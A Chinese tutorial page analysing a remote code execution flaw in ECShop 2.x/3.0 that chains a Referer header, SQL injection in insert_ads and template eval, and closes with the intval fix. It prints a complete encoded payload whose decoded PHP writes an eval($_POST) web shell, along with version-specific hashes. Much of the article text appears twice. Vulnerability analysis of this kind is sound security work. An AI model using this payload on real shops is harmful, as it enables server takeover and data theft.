您现在的位置是:首页 > cms教程 > Ecshop商城教程Ecshop商城教程
ecshop2.x 3.0执行漏洞分析
雷亚思2025-01-21Ecshop商城教程已有人查阅
导读0×00 前言ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。0×01 漏洞原理
ECShop 没有对 $GLOBAL[‘_SERVER’][
0×00 前言
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。0×01 漏洞原理
ECShop 没有对 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 变量进行验证,导致用户可以将任意代码插入的user_passport.dwt模板中,随后insert_mod根据模板内容动态执行相应的函数,用户插入恶意代码导致模板动态执行了lib_insert下的 insert_ads 方法,通过SQL注入,返回构造的执行代码,致使后面调用cls_template模板类的fetch函数,成功执行恶意代码。0×02 环境搭建
IDE : PHPStorm
PHP: 5.4
ECshop 3.0
ECShop 2.7.30×03 分析过程整体功能
首先过一下整体的功能,进入到user.php中。
正常情况下,程序会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 赋值给了$back_act,接着通过cls_template模板类的assign和display进行赋值和和传值给了user_passport.dwt页面模板;这时候user_passport.dwt页面模板的内容是这样子的。
进入到$smarty->display中,通过inser_mod的分割和反序列之后动态调用函数获得购物信息和会员信息,将会默认执行user_passport.dw上面的两个函数,即lib_insert函数类下的insert_cart_info和insert_member_info函数。insert_cart_info函数//调用购物信息
insert_member_info函数 //调用会员信息
user_passport.dw模板:
inser_mod函数:
在user.php 中的通过执行登陆操作的时候,将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改为我们的代码:
这时候$back_act的值就是我们篡改之后的REFERER值了,之后程序会继续执行:$smarty->assign('back_act', $back_act); //赋值
$smarty->display('user_passport.dwt'); //传值到模板上
经过assign,display的赋值和传值之后,这时候user_passport.dwt模板上的back_act值是这样的:
在观察堆栈参数的时候,可以观察到this->_echash 的值跟我们的Payload的值是一样的,这是ECSHOP的固定的HASH值,2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953,所以所用的Payload也不一样。
进入到display函数中,会执行fetch函数,获得页面模板内容;$out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也就是user_passport.dwt的内容
接着按照_echash的值也就是固定hash值进行分割;
分割完之后程序会先执行两个默认函数,然后才执行我们的代码,继续执行insert_mod函数 。$k[$key] = $this->insert_mod($val);
跟进,可以看到我们输入的字符串根据“|”进行了分割,并分别赋值给了$fun和$para所以之后的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)
到了return $fun($para);这里,将会执行lib_insert动态函数类下的 insert_ads($para)函数。
跟进,可以看到这里执行了SQL语句,而$arr[‘id’]和$arr[‘num’]这两个参数正是我们传进来的数组中的内容,参数可控,从而导致了注入。
这时候在数据库中,执行的语句为:
跟进,看到这里,这里最终执行了恶意代码。$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最终执行了语句
看一下内部的字符串处理,传入filename的值为:” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”
然后使用substr对filenname进行切割,接着进入到$this->fetch_str中,可以看到fetch_str函数的返回内容为<?php echo xx>格式的。
在跟入到$this->get_val中,执行了$p = $this->make_var($val); ,跟入到make_var函数中。
字符串处理之后返回的值为:
0×04 代码执行的调用链
0×05 修复方案
在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。2.x版本跟3.0版本存在代码执行漏洞。0×01 漏洞原理
ECShop 没有对 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 变量进行验证,导致用户可以将任意代码插入的user_passport.dwt模板中,随后insert_mod根据模板内容动态执行相应的函数,用户插入恶意代码导致模板动态执行了lib_insert下的 insert_ads 方法,通过SQL注入,返回构造的执行代码,致使后面调用cls_template模板类的fetch函数,成功执行恶意代码。0×02 环境搭建
IDE : PHPStorm
PHP: 5.4
ECshop 3.0
ECShop 2.7.30×03 分析过程整体功能
首先过一下整体的功能,进入到user.php中。
正常情况下,程序会将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 赋值给了$back_act,接着通过cls_template模板类的assign和display进行赋值和和传值给了user_passport.dwt页面模板;这时候user_passport.dwt页面模板的内容是这样子的。
进入到$smarty->display中,通过inser_mod的分割和反序列之后动态调用函数获得购物信息和会员信息,将会默认执行user_passport.dw上面的两个函数,即lib_insert函数类下的insert_cart_info和insert_member_info函数。insert_cart_info函数//调用购物信息
insert_member_info函数 //调用会员信息
user_passport.dw模板:
inser_mod函数:
Payload45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}
开始分析在user.php 中的通过执行登陆操作的时候,将$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改为我们的代码:
这时候$back_act的值就是我们篡改之后的REFERER值了,之后程序会继续执行:$smarty->assign('back_act', $back_act); //赋值
$smarty->display('user_passport.dwt'); //传值到模板上
经过assign,display的赋值和传值之后,这时候user_passport.dwt模板上的back_act值是这样的:
在观察堆栈参数的时候,可以观察到this->_echash 的值跟我们的Payload的值是一样的,这是ECSHOP的固定的HASH值,2.7版本的_echash值为554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值为45ea207d7a2b68c49582d2d22adf953,所以所用的Payload也不一样。
进入到display函数中,会执行fetch函数,获得页面模板内容;$out = $this->fetch($filename, $cache_id); //根据$cache_id获取模板内容也就是user_passport.dwt的内容
接着按照_echash的值也就是固定hash值进行分割;
分割完之后程序会先执行两个默认函数,然后才执行我们的代码,继续执行insert_mod函数 。$k[$key] = $this->insert_mod($val);
跟进,可以看到我们输入的字符串根据“|”进行了分割,并分别赋值给了$fun和$para所以之后的到的值类似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)
到了return $fun($para);这里,将会执行lib_insert动态函数类下的 insert_ads($para)函数。
跟进,可以看到这里执行了SQL语句,而$arr[‘id’]和$arr[‘num’]这两个参数正是我们传进来的数组中的内容,参数可控,从而导致了注入。
这时候在数据库中,执行的语句为:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1536052713' AND end_time >= '1536052713' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -
可以看到数据库的position_id和position_style字段分别被union select 查询覆盖为了'/* 和
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//}xxx
查询结束之后,根据$position_style的值执行了cls_template模板类的fetch函数。$val = $GLOBALS[‘smarty’]->fetch($position_style); //执行了smarty的fetch函数跟进,看到这里,这里最终执行了恶意代码。$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最终执行了语句
看一下内部的字符串处理,传入filename的值为:” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”
然后使用substr对filenname进行切割,接着进入到$this->fetch_str中,可以看到fetch_str函数的返回内容为<?php echo xx>格式的。
在跟入到$this->get_val中,执行了$p = $this->make_var($val); ,跟入到make_var函数中。
字符串处理之后返回的值为:
$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//']
拼接在一起,之后返回的数据为:
<?php echo $this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//>
从而最终导致了代码执行。0×04 代码执行的调用链
0×05 修复方案
在ECShop3.6版本中insert_ads函数对$arr[‘num’]和$arr[‘id’]进行了强制类型转换。$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);
本文标签:
很赞哦! ()
相关教程
图文教程
ecshop注册VIP推荐送现金的方法
ecshop中的促销售功能还不是很完善,随着电子商务系统的发展和进步,越来越多的促销需求需要ecshop做的更灵活,这就造成了很大必要的对ecshop促销系统进行处理和重新开发
ecshop的session机制介绍
ecshop的cls_session.php分析,主要是讲述ecshop中的session机制。我们都知道eschop的session都是存储在数据库中的。ecshop的session都是自定义的。
ecshop添加新商品交易滚动显示功能的方法
ecshop添加新功能我感觉无外乎就是两个地方的修改,显示的要修改模板,为了方便下次升级,很好都做成lbi,下次升级了直接把lbi拷进去, 然后稍微修改一下dwt的模板就行了。
ecshop批量添加商品到购物车的方法
ECSHOP是一款开源的网上商店系统,在我心目中可以算得上网上商城界的Wordpress了。本文介绍如何实现在ecshop中批量添加商品到购物车。大家都知道,默认的ecshop只能单件点击
相关源码
-
(PC+WAP)院校学院职业学校机构协会网站开源源码下载本模板基于PbootCMS系统开发,为高等院校、职业学校等教育机构设计,特别适合展示学校概况、院系设置、招生信息等内容。采用双端适配技术,确保在PC和移动设备上都能获得良好的浏览体验。查看源码 -
帝国cms7.5奇闻异事末解之谜模板免费下载带数据本模板基于帝国CMS7.5系统开发,为神秘现象、未解之谜类主题网站设计。包含完整的PC端、移动端及百度MIP站同步生成功能,内置火车头采集规则模块,可快速采集目标站内容资源。整体设计风格神秘大气,符合主题定位。查看源码 -
(自适应)品牌策划高端设计公司网站pbootcms模板免费下载本模板为品牌策划与设计公司打造,基于PbootCMS内核开发,充分考虑了创意设计行业的视觉展示需求。模板设计风格现代简约,布局合理清晰,呈现设计作品与专业服务,帮助设计公司展示创意实力并吸引潜在客户。查看源码 -
(自适应响应式)运动健身瑜伽俱乐部网站pbootcms源码下载为健身瑜伽俱乐部设计的响应式网站模板,采用PbootCMS内核开发,可快速搭建专业级企业官网。模板默认适配运动健身行业视觉风格,用户可通过替换图文内容灵活应用于其他服务行业。查看源码 -
(自适应)平面设计网络工作室个人作品展示网站模板免费下载基于PbootCMS内核开发的响应式网站模板,为设计工作室、创意机构打造的作品展示解决方案。通过模块化布局与极简交互设计,呈现设计作品的视觉细节,支持作品分类、案例解析等多维度展示方式。查看源码 -
帝国cms题库问答学习平台模板知识付费网站源码+数据采集为教育机构、培训平台及在线学习场景设计,提供完整的题库管理与问答服务解决方案。支持多种题型展示与答案查询,满足不同层次的学习需求。查看源码
| 分享笔记 (共有 篇笔记) |
